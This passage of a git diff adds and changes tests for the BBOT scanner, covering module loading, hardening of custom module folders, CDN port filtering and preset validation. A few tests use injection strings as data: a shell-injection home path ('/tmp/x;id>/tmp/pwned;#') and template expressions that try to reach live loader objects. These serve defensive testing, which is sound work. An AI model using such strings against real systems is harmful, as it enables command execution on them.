"mail.evilcorp.com" + elif "URL" in module.watched_events: + event_type, host_1, host_2 = "URL", "http://www.evilcorp.com/1", "http://mail.evilcorp.com/2" + else: + continue + + event_1 = per_domain_scan.make_event( + host_1, event_type=event_type, parent=per_domain_scan.root_event, tags=["status-200"] + ) + event_1.scope_distance = 0 + event_2 = per_domain_scan.make_event( + host_2, event_type=event_type, parent=per_domain_scan.root_event, tags=["status-200"] + ) + event_2.scope_distance = 0 + valid_1, reason_1 = await module._event_postcheck(event_1) + valid_2, reason_2 = await module._event_postcheck(event_2) + + if module.per_domain_only is True: + per_domain_seen.append(module_name) + assert valid_1 is True, f"{module_name}: first event rejected ({reason_1})" + assert valid_2 is False, f"{module_name}: second event accepted" + assert hash("evilcorp.com") in module._incoming_dup_tracker + assert reason_2 == "module has already seen it (per_domain_only=True)", f"{module_name}: {reason_2}" - if module.per_domain_only is True: - assert valid_1 is True - assert valid_2 is False - assert hash("evilcorp.com") in module._per_host_tracker - assert reason_2 == "per_domain_only enabled and already seen domain" + elif event_type == "URL": + assert valid_1 is True, f"{module_name}: {reason_1}" + assert valid_2 is True, f"{module_name}: {reason_2}" - else: - assert valid_1 is True - assert valid_2 is True + assert per_domain_seen, "no per_domain_only modules were exercised" await per_domain_scan._cleanup() @@ -524,21 +570,29 @@ async def test_module_loading(bbot_scanner): config={i: True for i in available_internal_modules if i != "dnsresolve"}, force_start=True, ) - await scan2._prep() - await scan2._set_status("RUNNING") + await scan2.load_modules() # attributes, descriptions, etc. + not_async = [] for module_name, module in sorted(scan2.modules.items()): # flags assert module._type in ("internal", "output", "scan") # async stuff - not_async = [] for func_name in ("setup", "ping", "filter_event", "handle_event", "finish", "report", "cleanup"): f = getattr(module, func_name) if not scan2.helpers.is_async_function(f): log.error(f"{f.__qualname__}() is not async") - not_async.append(f) - assert not any(not_async) + not_async.append(f.__qualname__) + assert not not_async, f"non-async module methods: {not_async}" + + # these dial a service in setup() and burn a connect-retry budget or raise without one + for module_name in ("rabbitmq", "postgres", "mysql", "kafka"): + scan2.modules.pop(module_name) + # returning False is a legitimate config-gated hard-fail, so only catch setup() raising, + # which _setup() alone marks by putting the module in an error state + results = await asyncio.gather(*[m._setup() for m in scan2.modules.values()]) + raised = sorted(f"{module.name}: {msg}" for module, _, msg in results if module.errored) + assert not raised, f"module setup() raised: {raised}" await scan2._cleanup() diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 49db7b78a8..49b7d94c79 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -965,6 +965,38 @@ async def test_preset_conditions(): await scan._prep() +def test_conditions_use_readonly_snapshot(): + """Conditions see a read-only data snapshot of the preset/config: reads and warn()/abort() + work, but the live object graph (core, module_loader) is not reachable, so no method on it + can be called to change state.""" + from jinja2.exceptions import UndefinedError + from bbot.scanner.preset.conditions import ConditionEvaluator + + # reading config and preset fields and calling abort() works + preset = Preset( + modules=["robots"], + conditions=[ + "{% if config.web.spider_distance == 0 and 'robots' in preset.modules %}{{ abort('stop') }}{% endif %}" + ], + ) + preset.validate() + with pytest.raises(PresetAbortError): + ConditionEvaluator(preset.bake()).evaluate() + + # the live object graph isn't exposed, so a method call on it can't change state + preset = Preset(modules=["robots"], conditions=["{{ preset.core.merge_custom({'home': '/tmp/x'}) }}"]) + preset.validate() + baked = preset.bake() + with pytest.raises(UndefinedError): + ConditionEvaluator(baked).evaluate() + assert baked.core.custom_config.get("home") is None + + preset = Preset(modules=["robots"], conditions=["{{ preset.module_loader.add_module_dir('/tmp/evil') }}"]) + preset.validate() + with pytest.raises(UndefinedError): + ConditionEvaluator(preset.bake()).evaluate() + + async def test_preset_module_disablement(clean_default_config): # internal module disablement preset = Preset().validate().bake() @@ -1564,3 +1596,324 @@ def test_config_secret_file_refuses_insecure(tmp_path, monkeypatch): MODULE_LOADER._write_secret_text(target, "secret stuff") assert not target.exists() assert list(tmp_path.glob(".secrets.yml.*")) == [] + + +def write_custom_module(module_dir, name): + (module_dir / f"{name}.py").write_text( + "from bbot.modules.base import BaseModule\n" + f"class {name}(BaseModule):\n" + ' watched_events = ["DNS_NAME"]\n' + ' produced_events = ["DNS_NAME"]\n' + ' flags = ["passive", "safe"]\n' + ' meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n' + ) + + +def test_module_dir_refuses_world_writable(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + write_custom_module(mod_dir, "permmod") + + # a world-writable folder is refused, with the fix in the message + mod_dir.chmod(0o777) + with pytest.raises(BBOTError, match="directory is world-writable") as e: + loader.add_module_dir(mod_dir) + assert "chmod o-w" in str(e.value) + assert "permmod" not in loader.preloaded() + + # so is a world-writable module file inside an otherwise safe folder + mod_dir.chmod(0o755) + (mod_dir / "permmod.py").chmod(0o666) + with pytest.raises(BBOTError, match=r"permmod\.py\": file is world-writable"): + loader.add_module_dir(mod_dir) + assert "permmod" not in loader.preloaded() + + # once fixed, it loads + (mod_dir / "permmod.py").chmod(0o644) + loader.add_module_dir(mod_dir) + assert "permmod" in loader.preloaded() + + +def test_module_dir_refuses_world_writable_parents(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + shared = tmp_path / "shared" + mod_dir = shared / "mods" + mod_dir.mkdir(parents=True) + write_custom_module(mod_dir, "cachemod") + + # a world-writable parent folder lets anyone swap the module folder out + shared.chmod(0o777) + with pytest.raises(BBOTError, match=r"shared\": directory is world-writable"): + loader.add_module_dir(mod_dir) + assert "cachemod" not in loader.preloaded() + + # unless it's sticky (like /tmp), so nobody else can rename what's in it + shared.chmod(0o1777) + loader.add_module_dir(mod_dir) + assert "cachemod" in loader.preloaded() + + +def test_custom_module_loads_from_source_not_bytecode(tmp_path): + """Custom modules import from source verified against the vetted hash, so planted + bytecode is never run and a post-vet source swap is refused at load.""" + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + mod_dir = (tmp_path / "mods").resolve() + mod_dir.mkdir() + write_custom_module(mod_dir, "srcmod") + loader.add_module_dir(mod_dir) + assert loader.preloaded()["srcmod"]["custom"] is True + + # loads normally from the vetted source + assert loader.load_module("srcmod").__name__ == "srcmod" + + # a planted .pyc is ignored (source is compiled directly), so loading still succeeds + pycache = mod_dir / "__pycache__" + pycache.mkdir(exist_ok=True) + (pycache / "srcmod.cpython-311.pyc").write_bytes(b"garbage") + assert loader.load_module("srcmod").__name__ == "srcmod" + + # swapping the source after it was vetted is refused (hash mismatch) + (mod_dir / "srcmod.py").write_text((mod_dir / "srcmod.py").read_text() + "\n# tampered\n") + with pytest.raises(BBOTError, match="changed since it was vetted"): + loader.load_module("srcmod") + + +def test_module_dir_symlinked_modules(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + asked = [] + loader.confirm_module_dir = lambda module_dir, module_names, notes: asked.append(module_names) or True + elsewhere = tmp_path / "elsewhere" + elsewhere.mkdir() + write_custom_module(elsewhere, "innocuous") + + # a symlink is named after the link, so it can't use an innocent target to take over a module's name + shadow_dir = tmp_path / "shadow" + shadow_dir.mkdir() + (shadow_dir / "robots.py").symlink_to(elsewhere / "innocuous.py") + with pytest.raises(BBOTError, match='a module named "robots" already exists'): + loader.add_module_dir(shadow_dir) + assert loader.preloaded()["robots"]["path"] != str((elsewhere / "innocuous.py").resolve()) + + # and a link that isn't a .py file isn't a module, wherever it points + other_dir = tmp_path / "other" + other_dir.mkdir() + (other_dir / "sneaky.txt").symlink_to(elsewhere / "innocuous.py") + loader.add_module_dir(other_dir) + assert "sneaky" not in loader.preloaded() and "innocuous" not in loader.preloaded() + + # the folder a link points into is checked too + link_dir = tmp_path / "links" + link_dir.mkdir() + (link_dir / "linkmod.py").symlink_to(elsewhere / "innocuous.py") + elsewhere.chmod(0o777) + with pytest.raises(BBOTError, match=r"elsewhere\": directory is world-writable"): + loader.add_module_dir(link_dir) + elsewhere.chmod(0o755) + + # otherwise a symlinked module loads under the link's name, which is the name the prompt shows + loader.add_module_dir(link_dir) + assert asked[-1] == ["linkmod"] + assert "linkmod" in loader.preloaded() + + +def test_preset_listing_skips_module_dirs(tmp_path): + """Listing presets must not load (or prompt for) a preset's custom module_dirs.""" + from bbot.scanner import Preset + from bbot.core.modules import MODULE_LOADER + + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + write_custom_module(mod_dir, "listmod") + preset_file = tmp_path / "listed.yml" + preset_file.write_text(f"module_dirs:\n - {mod_dir}\nmodules:\n - listmod\n") + + # and an included preset's module_dirs are skipped too + inc_mod_dir = tmp_path / "incmods" + inc_mod_dir.mkdir() + write_custom_module(inc_mod_dir, "incmod") + included = tmp_path / "included.yml" + included.write_text(f"module_dirs:\n - {inc_mod_dir}\nmodules:\n - incmod\n") + outer_file = tmp_path / "outer.yml" + outer_file.write_text(f"include:\n - {included}\n") + + asked = [] + original = MODULE_LOADER.confirm_module_dir + MODULE_LOADER.confirm_module_dir = lambda *a, **k: asked.append(a) or True + try: + preset = Preset.from_yaml_file(preset_file, _skip_module_dirs=True) + outer = Preset.from_yaml_file(outer_file, _skip_module_dirs=True) + finally: + MODULE_LOADER.confirm_module_dir = original + assert asked == [] + assert "listmod" not in MODULE_LOADER.preloaded() + assert "incmod" not in MODULE_LOADER.preloaded() + assert mod_dir.resolve() not in preset.module_dirs + assert inc_mod_dir.resolve() not in outer.module_dirs + + +def test_module_dir_refuses_name_modules(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + # a top-level custom dir named "modules" collides with the built-in package namespace + mod_dir = tmp_path / "modules" + mod_dir.mkdir() + write_custom_module(mod_dir, "topmod") + with pytest.raises(BBOTError, match=r'named "modules"'): + loader.add_module_dir(mod_dir) + assert "topmod" not in loader.preloaded() + + # so does a subdir named "modules" inside an otherwise fine custom dir + outer = tmp_path / "mods" + inner = outer / "modules" + inner.mkdir(parents=True) + write_custom_module(inner, "submod") + with pytest.raises(BBOTError, match=r'named "modules"'): + loader.add_module_dir(outer) + assert "submod" not in loader.preloaded() + + +def test_module_dir_refuses_dangling_symlink(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + (mod_dir / "late.py").symlink_to(tmp_path / "does_not_exist.py") + with pytest.raises(BBOTError, match="broken symlink"): + loader.add_module_dir(mod_dir) + assert "late" not in loader.preloaded() + + +def test_preload_loads_only_vetted_entries(tmp_path): + """preload() loads exactly the (name, path) entries it is handed, not a fresh listing + of the folder, so a file appearing after the folder was vetted is not loaded.""" + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + mod_dir = (tmp_path / "mods").resolve() + mod_dir.mkdir() + write_custom_module(mod_dir, "vetted_mod") + write_custom_module(mod_dir, "unvetted_mod") + + loader._module_dirs.add(mod_dir) + loader.preload(module_dirs={mod_dir}, vetted=[(mod_dir, "vetted_mod", (mod_dir / "vetted_mod.py").resolve())]) + assert "vetted_mod" in loader.preloaded() + assert "unvetted_mod" not in loader.preloaded() + + +def test_module_dir_group_writable_is_noted(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + write_custom_module(mod_dir, "groupmod") + + # a group-writable module file is not refused, but the trust prompt points it out + (mod_dir / "groupmod.py").chmod(0o664) + asked = [] + loader.confirm_module_dir = lambda module_dir, module_names, notes: asked.append(notes) or True + loader.add_module_dir(mod_dir) + assert any("Writable by group" in note for note in asked[-1]) + assert "groupmod" in loader.preloaded() + + +def test_module_dir_other_owner_is_noted(tmp_path, monkeypatch, caplog): + from bbot.core.modules import ModuleLoader + + if os.getuid() == 0: + pytest.skip("files owned by root are never flagged") + + caplog.set_level(logging.WARNING) + loader = ModuleLoader() + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + write_custom_module(mod_dir, "ownermod") + # not group-writable, so this exercises only the other-owner note + mod_dir.chmod(0o755) + (mod_dir / "ownermod.py").chmod(0o644) + + # pretend to be a different user (like root under sudo), so the folder belongs to someone else + real_uid = os.getuid() + monkeypatch.setattr(os, "getuid", lambda: real_uid + 54321) + asked = [] + loader.confirm_module_dir = lambda module_dir, module_names, notes: asked.append(notes) or False + with pytest.raises(BBOTError, match="was not trusted"): + loader.add_module_dir(mod_dir) + # it's not refused outright; the trust prompt shows who else can change the code + assert len(asked) == 1 and len(asked[0]) == 1 + assert "That user can change this code" in asked[0][0] + assert "ownermod" not in loader.preloaded() + + # without a prompt (library use), the note goes in the warning and the folder loads + loader.confirm_module_dir = None + loader.add_module_dir(mod_dir) + assert "That user can change this code" in caplog.text + assert "ownermod" in loader.preloaded() + + +def test_custom_module_dir_warning(tmp_path, caplog): + from bbot.core.modules import ModuleLoader + + caplog.set_level(logging.WARNING) + loader = ModuleLoader() + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + write_custom_module(mod_dir, "warnmod") + + # without a trust prompt (library use), loading a custom folder is announced + loader.add_module_dir(mod_dir) + assert f'Loading custom modules from "{mod_dir.resolve()}": warnmod' in caplog.text + assert "warnmod" in loader.preloaded() + + +def test_custom_module_cannot_replace_existing(tmp_path): + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + # even a folder the user trusts can't replace a module, and isn't asked about + asked = [] + loader.confirm_module_dir = lambda module_dir, module_names, notes: asked.append(module_dir) or True + + # a built-in module name + builtin_path = loader.preloaded()["robots"]["path"] + shadow_dir = tmp_path / "shadow" + shadow_dir.mkdir() + write_custom_module(shadow_dir, "robots") + with pytest.raises(BBOTError, match='a module named "robots" already exists') as e: + loader.add_module_dir(shadow_dir) + assert builtin_path in str(e.value) + assert loader.preloaded()["robots"]["path"] == builtin_path + + # a name already loaded from another custom folder + first_dir = tmp_path / "first" + first_dir.mkdir() + write_custom_module(first_dir, "dupemod") + loader.add_module_dir(first_dir) + second_dir = tmp_path / "second" + second_dir.mkdir() + write_custom_module(second_dir, "dupemod") + with pytest.raises(BBOTError, match='a module named "dupemod" already exists'): + loader.add_module_dir(second_dir) + assert loader.preloaded()["dupemod"]["path"] == str((first_dir / "dupemod.py").resolve()) + + # two modules with the same name inside one folder's subfolders + nested_dir = tmp_path / "nested" + (nested_dir / "output").mkdir(parents=True) + write_custom_module(nested_dir, "twinmod") + write_custom_module(nested_dir / "output", "twinmod") + with pytest.raises(BBOTError, match='a module named "twinmod" already exists'): + loader.add_module_dir(nested_dir) + assert "twinmod" not in loader.preloaded() + + assert asked == [first_dir.resolve()] diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index cb685980ea..fee826ca5e 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -49,7 +49,8 @@ async def test_python_api(clean_default_config): bbot_home = str(worker_dir("/tmp/.bbot_python_api_test")) scan4 = Scanner("127.0.0.1", config={"home": bbot_home}) await scan4._prep() - assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") + assert scan4.helpers.scans_dir == Path(bbot_home) / "scans" + assert os.environ["BBOT_TOOLS"] == str(scan4.helpers.tools_dir) # output modules are additive scan5 = Scanner() @@ -93,7 +94,8 @@ async def test_python_api_sync(clean_default_config): bbot_home = str(worker_dir("/tmp/.bbot_python_api_test")) scan3 = Scanner("127.0.0.1", config={"home": bbot_home}) await scan3._prep() - assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") + assert scan3.helpers.scans_dir == Path(bbot_home) / "scans" + assert os.environ["BBOT_TOOLS"] == str(scan3.helpers.tools_dir) def test_python_api_sync_no_pending_tasks(): diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py index d71f4c62db..4a39bdffa7 100644 --- a/bbot/test/test_step_1/test_regexes.py +++ b/bbot/test/test_step_1/test_regexes.py @@ -1,3 +1,4 @@ +import time import pytest import traceback @@ -425,6 +426,19 @@ async def test_regex_helper(): "www.evilcorp.co.uk", } + # a hostname with hyphens in it is one hostname, not one per hyphen + extracted = await scan.extract_in_scope_hostnames("https://dev-api.evilcorp.com/ my-app-test.evilcorp.com") + assert extracted == {"dev-api.evilcorp.com", "my-app-test.evilcorp.com", "evilcorp.com"} + # the same name standing on its own elsewhere still counts + extracted = await scan.extract_in_scope_hostnames("dev-api.evilcorp.com api.evilcorp.com") + assert extracted == {"dev-api.evilcorp.com", "api.evilcorp.com", "evilcorp.com"} + # filtering stays linear in the number of matches, since a single page can hold thousands of subdomains + hostnames = {f"h{i}-dev-{i % 7}.evilcorp.com" for i in range(20000)} + start = time.time() + extracted = await scan.extract_in_scope_hostnames(" ".join(sorted(hostnames))) + assert time.time() - start < 5 + assert extracted == hostnames | {"evilcorp.com"} + scan = Scanner() await scan._prep() extracted = await scan.extract_in_scope_hostnames(host_blob) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 2fc2d60a13..3323698d2d 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -343,69 +343,74 @@ async def test_huge_target_list(bbot_scanner, monkeypatch): @pytest.mark.asyncio -async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config): - # test that CDN exclusion works - +async def test_cdn_port_filter(bbot_scanner, monkeypatch, clean_default_config): from bbot.scanner import Preset + from bbot.modules.base import BaseModule dns_mock = { "evilcorp.com": {"A": ["127.0.0.1"]}, "www.evilcorp.com": {"A": ["127.0.0.1"]}, + "origin.evilcorp.com": {"A": ["127.0.0.1"]}, } - # first, run a scan with no CDN exclusion - scan = bbot_scanner("evilcorp.com") - await scan._prep() - await scan.helpers._mock_dns(dns_mock) - - from bbot.modules.base import BaseModule - class DummyModule(BaseModule): - watched_events = ["DNS_NAME"] + watched_events = ["DNS_NAME", "OPEN_TCP_PORT"] + accept_seeds = True async def handle_event(self, event): if event.type == "DNS_NAME" and event.data == "evilcorp.com": - await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cloudflare", "cdn"]) - if event.type == "DNS_NAME" and event.data == "www.evilcorp.com": - await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"]) - await self.emit_event( - "www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"] - ) - await self.emit_event( - "www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"] - ) - - dummy = DummyModule(scan=scan) - scan.modules["dummy"] = dummy - events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] - assert set(e.data for e in events) == { - "evilcorp.com", - "www.evilcorp.com", + for port in (80, 443, 8080): + await self.emit_event(f"www.evilcorp.com:{port}", "OPEN_TCP_PORT", parent=event, tags=["cdn"]) + await self.emit_event("http://www.evilcorp.com:8443/", "URL_UNVERIFIED", parent=event, tags=["waf"]) + # not a CDN host, so any port is fine + await self.emit_event("origin.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event) + # an explicitly targeted CDN port is kept, along with anything found on it + if event.type == "OPEN_TCP_PORT" and event.data == "www.evilcorp.com:2083": + await self.emit_event("https://www.evilcorp.com:2083/", "URL_UNVERIFIED", parent=event, tags=["cdn"]) + await self.emit_event("https://www.evilcorp.com:2087/", "URL_UNVERIFIED", parent=event, tags=["cdn"]) + + async def run(preset=None): + scan = bbot_scanner("evilcorp.com", "www.evilcorp.com:2083", preset=preset, config={"omit_event_types": []}) + await scan._prep() + await scan.helpers._mock_dns(dns_mock) + scan.modules["dummy"] = DummyModule(scan=scan) + return { + e.pretty_string + for e in [e async for e in scan.async_start()] + if e.type in ("OPEN_TCP_PORT", "URL_UNVERIFIED") + } + + # by default, only the allowed ports survive on CDN/WAF hosts + assert await run() == { "www.evilcorp.com:80", "www.evilcorp.com:443", - "www.evilcorp.com:8080", + "origin.evilcorp.com:8080", + "www.evilcorp.com:2083", + "https://www.evilcorp.com:2083/", } - monkeypatch.setattr("sys.argv", ["bbot", "-t", "evilcorp.com", "--exclude-cdn"]) - - # then run a scan with --exclude-cdn enabled - preset = Preset("evilcorp.com") + # --allow-cdn-ports restores the unfiltered behavior + monkeypatch.setattr("sys.argv", ["bbot", "-t", "evilcorp.com", "www.evilcorp.com:2083", "--allow-cdn-ports"]) + preset = Preset("evilcorp.com", "www.evilcorp.com:2083") preset.parse_args() - baked_preset = preset.validate().bake() - assert baked_preset.to_yaml() == "modules:\n- portfilter\n" - scan = bbot_scanner("evilcorp.com", preset=preset) - await scan._prep() - await scan.helpers._mock_dns(dns_mock) - dummy = DummyModule(scan=scan) - scan.modules["dummy"] = dummy - events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] - assert set(e.data for e in events) == { - "evilcorp.com", - "www.evilcorp.com", + assert preset.validate().bake().config["cdn_port_filter"]["enabled"] is False + assert await run(preset=preset) == { "www.evilcorp.com:80", "www.evilcorp.com:443", + "www.evilcorp.com:8080", + "http://www.evilcorp.com:8443/", + "origin.evilcorp.com:8080", + "www.evilcorp.com:2083", + "https://www.evilcorp.com:2083/", + "https://www.evilcorp.com:2087/", } + # --exclude-cdn is a deprecated no-op that leaves the filter on + monkeypatch.setattr("sys.argv", ["bbot", "-t", "evilcorp.com", "-ec"]) + preset = Preset("evilcorp.com") + preset.parse_args() + assert preset.validate().bake().config["cdn_port_filter"]["enabled"] is True + @pytest.mark.asyncio async def test_scan_event_started_at_type(bbot_scanner): @@ -426,6 +431,22 @@ async def test_scan_event_started_at_type(bbot_scanner): ) +@pytest.mark.asyncio +async def test_scan_log_version(bbot_scanner): + import bbot + + scan = bbot_scanner("127.0.0.1") + # run at the default log level, since the test suite otherwise logs at DEBUG + old_log_level = scan.core.logger.log_level + scan.core.logger.log_level = logging.INFO + try: + await scan.async_start_without_generator() + finally: + scan.core.logger.log_level = old_log_level + scan_log = open(scan.home / "scan.log").read() + assert f"BBOT version: {bbot.__full_version__}" in scan_log + + async def test_scan_name(bbot_scanner): scan = bbot_scanner("evilcorp.com", name="test_scan_name") await scan._prep() @@ -520,3 +541,47 @@ def mock_memory_status(): assert m.num_incoming_events == 0 scan.modules_status(_log=False) assert scan._ingress_delay == 0.0, "throttle must clear in drain mode (no producers, ingress is the drain)" + + +@pytest.mark.asyncio +async def test_url_max_path_param_repeats(): + """Servers that append a session id on every redirect, and spider traps, generate an + unbounded supply of URLs whose path repeats one key. Ingress drops them.""" + from bbot.scanner import Scanner + + def jsessionid_url(n): + return "http://evilcorp.com/" + "".join(f";JSESSIONID={i:08x}-2ab9-49eb" for i in range(n)) + + scan = Scanner("evilcorp.com", config={"url_max_path_param_repeats": 10}) + await scan._prep() + ingress = scan.ingress_module + + # handle_event returns None when it accepts, and (False, reason) when it rejects + + # below the limit the URL is scanned normally + shallow = scan.make_event(jsessionid_url(9), "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(shallow) is None + assert "blacklisted" not in shallow.tags + + # at the limit it is rejected before reaching any module's queue + degenerate = scan.make_event(jsessionid_url(10), "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(degenerate) == (False, "event is blacklisted") + assert "blacklisted" in degenerate.tags + + # ordinary URLs are untouched, however deep or repetitive the path + for url in ( + "http://evilcorp.com/api/v1/users/1", + "http://evilcorp.com/" + "/".join(["blacklanternsecurity"] * 20) + ".txt", + ): + normal = scan.make_event(url, "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(normal) is None + assert "blacklisted" not in normal.tags + await scan._cleanup() + + # the guard can be disabled outright + scan = Scanner("evilcorp.com", config={"url_max_path_param_repeats": 0}) + await scan._prep() + off = scan.make_event(jsessionid_url(50), "URL_UNVERIFIED", parent=scan.root_event) + await scan.ingress_module.handle_event(off) + assert "blacklisted" not in off.tags + await scan._cleanup() diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 4a09a24372..a405a02341 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -725,6 +725,32 @@ def test_blacklist_get_invalid_host(): assert result is not None +def test_target_add_hostless_with_single_address(): + """Hostless entries (e.g. BLACKLIST_REGEX) must sort against any host form without a type error. + + host_size_key() returns a (size, str) tuple, so the hostless sentinel must also carry a str + in its second position. Explicitly-masked single addresses (/32, /128) share size 0 with the + sentinel, which forces the second elements to be compared. + """ + from bbot.scanner.target import ScanBlacklist + + # a hostless entry batched with an explicitly-masked single address + for single_address in ["1.2.3.4/32", "dead::beef/128"]: + blacklist = ScanBlacklist("RE:test", single_address) + assert "REGEX:test" in blacklist.inputs + assert blacklist.get(single_address.split("/")[0]) is not None + + # a mixed batch of every host form alongside multiple hostless entries + blacklist = ScanBlacklist( + "RE:evil", "RE:test", "1.2.3.4/32", "1.2.3.0/24", "dead::beef/128", "5.6.7.8", "evilcorp.com" + ) + assert {r.pattern for r in blacklist.blacklist_regexes} == {"evil", "test"} + for host in ["1.2.3.4", "1.2.3.5", "dead::beef", "5.6.7.8", "www.evilcorp.com"]: + assert blacklist.get(host) is not None + assert "test.com" in blacklist + assert "9.9.9.9" not in blacklist + + def test_no_double_parsing(): """Regression test: when seeds are auto-populated from target, EventSeed parsing should happen only once (via ScanTarget), not twice. BBOTTarget should pass diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 7c049caa43..8790c2c07d 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -8,6 +8,22 @@ def test_validate_preset_valid(): assert errs == [] +def test_module_version_config_validation(): + """Module `version` options accept version-like strings only.""" + assert validate_preset({"modules": ["retirejs"], "config": {"modules": {"retirejs": {"version": "5.4.0"}}}}) == [] + errs = validate_preset({"modules": ["retirejs"], "config": {"modules": {"retirejs": {"version": "5.3.0 oops #"}}}}) + assert len(errs) >= 1 + assert any("version" in e.message for e in errs) + + +def test_home_config_validation(): + """`home` is interpolated into dependency commands, so it rejects shell metacharacters.""" + assert validate_preset({"config": {"home": "/tmp/mybbot"}}) == [] + errs = validate_preset({"config": {"home": "/tmp/x;id>/tmp/pwned;#"}}) + assert len(errs) >= 1 + assert any("home" in e.message or "shell metacharacters" in e.message for e in errs) + + def test_validate_preset_typo_top_level(): errs = validate_preset({"modlues": ["nuclei"]}) assert len(errs) == 1 @@ -325,6 +341,143 @@ def test_validate_preset_baddns_subclass_severity_is_validated(): assert "Expected one of" in errs[0].message -def test_validate_preset_shodan_idb_retries_is_int(): - """shodan_idb.retries is numeric; the natural `retries: 3` must validate (was typed str).""" - assert validate_preset({"config": {"modules": {"shodan_idb": {"retries": 3}}}}) == [] +def test_validate_preset_deprecated_options_still_validate(): + """Deprecated options are ignored, but presets that still set them must keep validating.""" + for module in ("shodan_idb", "discord", "slack", "teams"): + assert validate_preset({"config": {"modules": {module: {"retries": 3}}}}) == [] + + +def test_deprecated_options_have_no_defaults(): + from bbot.core.modules import MODULE_LOADER + + for module in ("shodan_idb", "discord", "slack", "teams"): + assert "retries" not in MODULE_LOADER.preloaded()[module]["config"] + + +def test_find_deprecated_config(): + from bbot.core.modules import MODULE_LOADER + from bbot.core.config.models import find_deprecated_config + + config = { + "web": {"http_retries": 1}, + "modules": {"slack": {"retries": 5, "webhook_url": "https://example.com"}, "shodan_idb": {"retries": 2}}, + } + assert find_deprecated_config(config, MODULE_LOADER.config_schema) == { + "modules.slack.retries": "", + "modules.shodan_idb.retries": "", + } + assert find_deprecated_config({"modules": {"slack": {"webhook_url": "x"}}}, MODULE_LOADER.config_schema) == {} + # a deprecation can say what to use instead + assert find_deprecated_config({"module_dirs": ["/tmp/x"]}, MODULE_LOADER.config_schema) == { + "module_dirs": "Set module_dirs at the top level of a preset and load it with -p." + } + + +async def test_deprecated_option_warns_at_scan_start(caplog): + from bbot.scanner import Scanner + + scan = Scanner(config={"modules": {"shodan_idb": {"retries": 3}}}) + await scan._prep() + assert 'Config option "modules.shodan_idb.retries" is deprecated and will be ignored' in caplog.text + + +async def test_config_module_dirs_is_a_noop(tmp_path, caplog): + from bbot.scanner import Scanner + + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + (mod_dir / "noopmod.py").write_text( + "from bbot.modules.base import BaseModule\n" + "class noopmod(BaseModule):\n" + ' watched_events = ["DNS_NAME"]\n' + ' produced_events = ["DNS_NAME"]\n' + ' flags = ["passive", "safe", "subdomain-enum"]\n' + ' meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n' + ) + scan = Scanner(config={"module_dirs": [str(mod_dir)]}, flags=["subdomain-enum"]) + await scan._prep() + assert ( + 'Config option "module_dirs" is deprecated and will be ignored. ' + "Set module_dirs at the top level of a preset and load it with -p." in caplog.text + ) + assert mod_dir.resolve() not in scan.preset.module_loader.module_dirs + assert "noopmod" not in scan.modules + + +def test_validate_preset_lightfuzz_avoid_wafs_accepts_bool(): + """lightfuzz.avoid_wafs is a tri-state that also accepts the boolean form, so configs + written against the older bool option still load. Unknown values are still rejected.""" + for value in (True, False, "ALWAYS", " never "): + assert validate_preset({"config": {"modules": {"lightfuzz": {"avoid_wafs": value}}}}) == [] + errs = validate_preset({"config": {"modules": {"lightfuzz": {"avoid_wafs": "bogus"}}}}) + assert len(errs) == 1 and errs[0].path == "avoid_wafs" + assert "Expected one of" in errs[0].message + + +async def test_lightfuzz_avoid_wafs_bool_coerced_at_runtime(): + """Schema validation doesn't rewrite the runtime config, so lightfuzz must apply the same + coercion when it reads the option. True means 'always' (skip), False means 'never' (fuzz raw).""" + from bbot.scanner import Scanner + + for value, expected in ((True, "always"), (False, "never"), 